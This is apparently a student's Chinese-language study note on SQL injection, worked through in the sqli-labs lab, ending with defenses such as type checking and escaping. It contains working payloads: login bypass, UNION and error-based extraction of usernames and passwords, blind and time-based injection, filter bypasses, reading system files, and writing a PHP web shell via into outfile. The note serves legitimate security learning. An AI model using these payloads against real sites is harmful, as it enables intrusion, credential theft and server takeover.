# 什么是 sql 注入

学一个漏洞我们应该知道,漏洞的危害,成因、原理、攻击方式,以及防御方式。所以这里首先聊一聊什么是 sql 注入,SQL 注入分类于 web 安全漏洞,通过 sql 注入攻击者可以干扰应用程序对其数据库进行查询。它通常允许攻击者查看他们正常无法检索到的数据。许多情况下攻击者可以对数据库进行增删改查的操作

# sql 注入的危害

前面说完了什么是 sql 注入,接下来我们聊一聊 sql 注入漏洞造成的危害,sql 注入成功后我们不仅可以像上面提到是那样对各种数据进行增删改查,如果网站目录存在写入权限我们可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等,甚至可以通过提权等操作获取服务器最高权限来远程控制服务器,安装后门,修改或者控制操作系统

# sql 注入的成因

sql 漏洞的成因很简单,就是开发过程没有对用户的输入进行严格的过滤,开发人员违背了 “代码与数据分离” 原则。一方面,攻击者可以任意更改输入数据;另一方面,攻击者可以在数据里构造代码,让服务器端把数据解析成代码执行。攻击者通过把 SQL 命令插入到 Web 表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。

# SQL 注入的分类

# 有回显的注入

  1. 联合查询
  2. 报错注入
  3. 通过注入进行 DNS 请求,达到回显的目的

# 无回显的注入

  1. Bool 盲注
  2. 时间盲注

# 二次注入

一种业务逻辑复杂的题目,一般需要自己编写脚本来实现自动化注入

# where 子句的 sql 注入漏洞

本笔记基于 sql-labs 靶场记录

sql-labs 第一关

"SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 所有详细信息(*)
  • 从 users 表中
  • 其中类别是 id
  • limit 0,1 表示的是从第一条记录开始,只取一条
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo "<br>";
echo $row['password'];

这里会将 sql 查询的结果返回,这一关并没有进行任何的过滤,所以攻击者可以构建

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'--

image-20220925110237019

这里的关键是两个减号在 SQL 中是注释指示符,意味着查询的其余部分被解释为注释。这将使得原有的语句后部分无法被包含,也就可以突破 limit 0,1 的限制查询到所有的数据

# 颠覆应用逻辑

sql-labs 第 11 关

$sql="SELECT * FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

一个登录页面,判断用户输入在数据库中能不能查询到,如果查询到则登录,查询不到这则拒绝,这里攻击者只需要使用 SQL 注释将密码的判断注释掉这可以直接用用户名登录
如这里有一个 admin 用户只需要在用户名处输入 admin'# 即可登录

SELECT * FROM users WHERE username='admin'#' and password='' LIMIT 0,1

这时只判断了 admin 是否存在,但是这里还需要知道用户名,有没有一种方法不用用户名也能登录呢,有的

我们使用上面有用到的 or

image-20220925113956855

SELECT * FROM users WHERE username='1' or 1=1#' and password='' LIMIT 0,1

这里 or 是并运算,那么前后只需要成立一个便可image-20220925114457385

这里是可以执行成功的

# 联合查询的 SQL 注入

当应用程序容易受到 SQL 注入的攻击,并且在应用程序的响应中返回查询结果时,可以使用关键字从数据库中的其他表中检索数据。这会导致 SQL 注入联合攻击。UNION 该关键字允许您执行一个或多个附加查询,并将结果追加到原始查询

使用 UNION 需要满足两个条件

  1. 各个查询必须返回相同数量的列。
  2. 每列中的数据类型必须在各个查询之间兼容。

# 确定 SQL 注入攻击中所需要的列数

有两个方法可以判断

第一种方法涉及注入一系列子句并递增指定的列索引,直到发生错误

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

第二种方法涉及提交一系列有效负载,指定不同数量的 值

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

上面都是当列数不匹配时会返回错误

# 查找具有有用数据类型的列

要检索的相关数据将采用字符串形式,因此您需要在原始查询结果中查找数据类型为字符串数据或与字符串数据兼容的一列或多列。

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

# 报错注入

主要是三种报错注入的方式,分别是 updatexml,floor 和 exp

# updatexml

原理从本质来说就是函数的报错

image-20221001004112785

select updatexml(1,concat(0x7e,version(),0x7e),1);

这里的 version 替换成查询语句即可,下面是两个例子

') and updatexml(1,concat(0x7e,database(),0x7e),1)#
') and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1)#

# floor

关键函数:
Rand () ------- 产生 0~1 的伪随机数

rand 有两种形式:

1、rand (), 即无参数的,此时产生的随机数是随机的,不可重复的;

2、rand (n), 即有参数数,如 rand (0), 这里 0 相当于种子,那么这里会产生一列伪随机数。

Floor () ------- 向下取整数
Concat () ----- 连接字符串
Count () ------ 计算总数

1,count(*)

返回表中的记录数 (包括所有列),相当于统计表的行数 (不会忽略列值为 NULL 的记录)

2,count (列名)

返回列名指定列的记录数

group by x 作用以 x 为主键分组

主键,指的是一个列或多列的组合,其值能唯一地标识表中的每一行

其实在做的时候分为两步首先扫描一行一行的扫描主键,如果虚拟表中有值则跳过,如果没有第二步将值放入虚表中

* 首先 rand () 是随机生成一个 0 到 1 之间的随机数 *

img

然后一般在 floor 中使用是会乘以 2 既 floor (rand ()*2),floor 的作用是对数向下取整,则整个语句会形成一串伪随机 011011....。

img

count (*) 的效果

img

img

对于 select floor (rand (0)*2),count (*) from users group by floor (rand (0)*2); 报错

img

过程解析

1,group by 时,会建立空虚拟表如下图,然后从 sql 语句执行结果序列(011011)读取数据并插入虚表:

img

2,虚表写入第一个数据 (前一个 floor 部分进行一次计算,“第一次计算”)扫描主键,发现没有与 0 对应的主建,新建主键(这个主键的值是后面一个 floor 部分进行一次计算的值,“第二次计算”)如图

img

3,写入第二个数据(前一个 floor 部分计算的值,“第三次计算”)有对应的主键 count(*)加一(这里就没有再计算后面的 floor 部分)

img

4,写入第三个数据(前一个 floor 计算的值,“第四次计算”)扫描主键,发现没有与 0 对应的主建(刚刚建的主键记录的值实际为 1),新建主键(这个主键的值是后面一个 floor 部分进行一次计算的值,“第五次计算”)新建的主键值又为 1,因为主键不能重复,所以报错

img

简单来说就是 rand 和 group by 的冲突

接下来是例子

') union select count(*),concat((select user()),floor(rand(0)*2))a from information_schema.columns group by a#

img

') union select count(*),concat((select password from users),floor(rand(0)*2))a from information_schema.tables group by a#

img

# exp

exp () 函数的报错原理是溢出报错

image-20221001005353035

使用方法如上,这个地方并没有成功,暂不知是什么原因,有待解决

# Bool 盲注

盲注一般使用在开发者将报错信息屏蔽时使用,虽然报错信息被屏蔽,但是页面会有不同的回显,常用的方式是在注入点后面加上 and 1=1 或者 and 1=2,如果存在注入点那么 and 1=2 的情况下,页面会有所不同,有些教程会把报错注入也归为盲注的一种,这里记录一下报错注入和盲注常用的函数

# 常用函数

  1. 截取函数

    • substr()

      用法:substr(string string,num start,num length);
      select  substr(参数1,参数2,参数3)  from  表名
      string为字符串;start为起始位置;length为长度。
      注意:mysql中的start是从1开始的。
    • left()

      LEFT(str,length);
      SQL
      LEFT()函数接受两个参数:
      
      str是要提取子字符串的字符串。length是一个正整数,指定将从左边返回的字符数。
      LEFT()函数返回str字符串中最左边的长度字符。如果str或length参数为NULL,则返回NULL值。
      
    • right()

      【实例】使用 RIGHT 函数返回字符串中右边的字符,输入的 SQL 语句和执行结果如下所示。
      mysql> SELECT RIGHT('MySQL',3);
      +------------------+
      | RIGHT('MySQL',3) |
      +------------------+
      | SQL              |
      +------------------+
      1 row in set (0.00 sec)
      由执行结果可知,函数返回字符串“MySQL”右边开始的长度为3的子字符串,结果为“SQL”。
      
  2. 转换函数

    • ascii()

      返回字符串str的最左字符的数值。返回0,如果str为空字符串。返回NULL,如果str为NULL。 ASCII()返回数值是从0255
      									
      									
      									(adsbygoogle = window.adsbygoogle || []).push({});
      									
      									
      									
      									(adsbygoogle = window.adsbygoogle || []).push({});
      									SQL> SELECT ASCII('2');
      +---------------------------------------------------------+
      | ASCII('2')                                              |
      +---------------------------------------------------------+
      | 50                                                      |
      +---------------------------------------------------------+
      1 row in set (0.00 sec)
      SQL> SELECT ASCII('dx');
      +---------------------------------------------------------+
      | ASCII('dx')                                             |
      +---------------------------------------------------------+
      | 100                                                     |
      +---------------------------------------------------------+
      1 row in set (0.00 sec)
    • hex()

      如果N_or_S是一个数字,返回N,其中N是一个长长(BIGINT)数字的十六进制值的字符串表示。这等同于CONV(N,10,16)
      	如果N_or_S是一个字符串,返回N_or_S在N_or_S每个字符被转化为两个十六进制数字的十六进制字符串表示。
      									
      									
      									(adsbygoogle = window.adsbygoogle || []).push({});
      									
      									
      									
      									(adsbygoogle = window.adsbygoogle || []).push({});
      									SQL> SELECT HEX(255);
      +---------------------------------------------------------+
      | HEX(255)                                                |
      +---------------------------------------------------------+
      | FF                                                      |
      +---------------------------------------------------------+
      1 row in set (0.00 sec)
      SQL> SELECT 0x616263;
      +---------------------------------------------------------+
      | 0x616263                                                |
      +---------------------------------------------------------+
      | abc                                                     |
      +---------------------------------------------------------+
      1 row in set (0.00 sec)
  3. 比较函数

    • if()

      语法结构:

      if(expr1,expr2,expr3)
      

      上述语法结构中 expr1 表示的是判断条件,expr2 和 expr3 是符合 expr1 的自定义的返回结果

      当 expr1 的值为真时,则返回值为 expr2;当 expr1 的值为假时,则返回值为 expr3

# 时间盲注

时间盲注出现的原因也是因为服务器端拼接了失去了语句但是所有的回显都被过滤,我们只能通过页面的响应时间做一个判断但是由于 sleep 和 benchmark 函数的大量执行会使得服务器的负载高,容易导致题目挂掉。

做题的方法和 bool 盲注差不多,判断的方式不同,一般时间盲注常用的有两个函数 sleep 和 benchmark 函数如下表

函数名功能和使用方法
sleep()sleep 是睡眠函数,可以使得查询数据的时候回显数据的响应时间延长,使用方法 sleep (N) 这里 N 是延长的时间,常配合 if 使用:<br />if (ascll (subster (user (),1,1))=114,sleep (5),2)<br /> 这样绕过 user 的第一位的 ascll 为 114 则页面返回时间延迟 5 秒
benchmark()benchmark 函数原本是用来重复执行某条语句的函数,我们可以利用这个函数来测试数据库的读写性能使用方法:<br />benchmark (N,expression)<br /> 其中 N 为执行次数,expression 为表达式。如果需要进行盲注,我们通常遇需要运算时间的计算配合使用比如 MD5

# 二次注入

二次注入的成因是第一次入库时经过了一些转义,但是存入数据库后会去除转义,导致第二次使用时恶意构造 sql 语句

# limit 之后的注入

mysql 数据库 > 5.0、mysql 数据库 < 5.6.6 可以在 limit 部分进行注入

select field from table where id > 0 order by id limit {injection_point}

也可以使用如下的 payload 进行注入:

select firld from user where id > 0 order by id limit 1,1 procedure analyse(extractractvalue(rand(),concat(0x3a,version())),1);

# 注入点的发现

# 常见的注入点

  1. GET 参数
  2. POST 参数
  3. UA 头
  4. Cookie

# 判断注入点存在

  1. 插入单引号
  2. 数字型判断
  3. 通过数字的加减判断

# 绕过

# 过滤关键字

  1. 大小写

    image-20221008001157452

  2. 双写(替换为空时使用)

    image-20221008001212446

  3. 16 进制绕过

    image-20221008001254934

  4. url 编码绕过(必要时可以通过双重 url 编码饶过)

# 过滤空格

  1. 通过注释符绕过
    • //
    • /**/
    • ;%00
  2. url 编码(双重)
  3. 换行绕过
  4. 特殊符号(引号)

# 过滤单引号

这里是指魔术引号,可以通过宽字节绕过

# sql 读写文件

在 mysql 用户拥有 file 权限的时候可以使用 load_file 和 into outfile/dumpfile 进行读写

eg:有sql语句
select username from user id=$id
我们可以构建度文件
?id=-1 union select load_file('/ect/hosts')
如果有单引号过滤,还可以对文件名十六进制
?id=-1 union select load_file(0x2f6563742f686f737473)

也可以写文件

?id=-1 union select '<?php eval($_post[1]);?>' into outfile '/var/www/html/shell.php'
或者
?id=-1 union select unhex(一句话的16进制) into outfile '/var/www/html/shell.php'

# sql 注入的防御

对于一个信安的学生来讲,学习这些我们最终的目的是为了防止 sql 漏洞被利用,那么就不得不提到怎么去防御 sql 注入

首先我们要明确这样一个概念,数据库只做了执行 sql 语句的作用,对于数据库本身来说没有什么办法来防止 sql 注入,那么我们应该从操纵数据库的语言着手

防御方法主要分为两种

数据类型判断和特殊字符的转义

# 严格的数据类型

如 java 和 C# 这种强类型的语言几乎不用考虑数字型注入,如果对传入的参数进行一次数据类型的转化,当传入一个字符串时就会返回 Exception 而不会执行 sql 语句

如果再 php 或者 ASP 这种没有强制要求处理数据类型的语言,当传入一个参数时会自动根据参数推导出数据类型,假设 id=1,则推导出数据类型为 Integer、id=str,则推导出 ID 的数据类型为 string

防御数字型的注入相对来说要简单,只要在程序中进行数据类型的判断即可

# 特殊字符转义

通过加强数据类型验证可以解决数字型的 SQL 注入,但是字符型的 SQL 注入却不行因为字符型就是 string 类型的,所以就无法判断输入是否是恶意攻击,那么最好的办法就是对特殊字符进行转义,在查询任意字符都需要单引号,我们可以通过闭合单引号来防御 sql 注入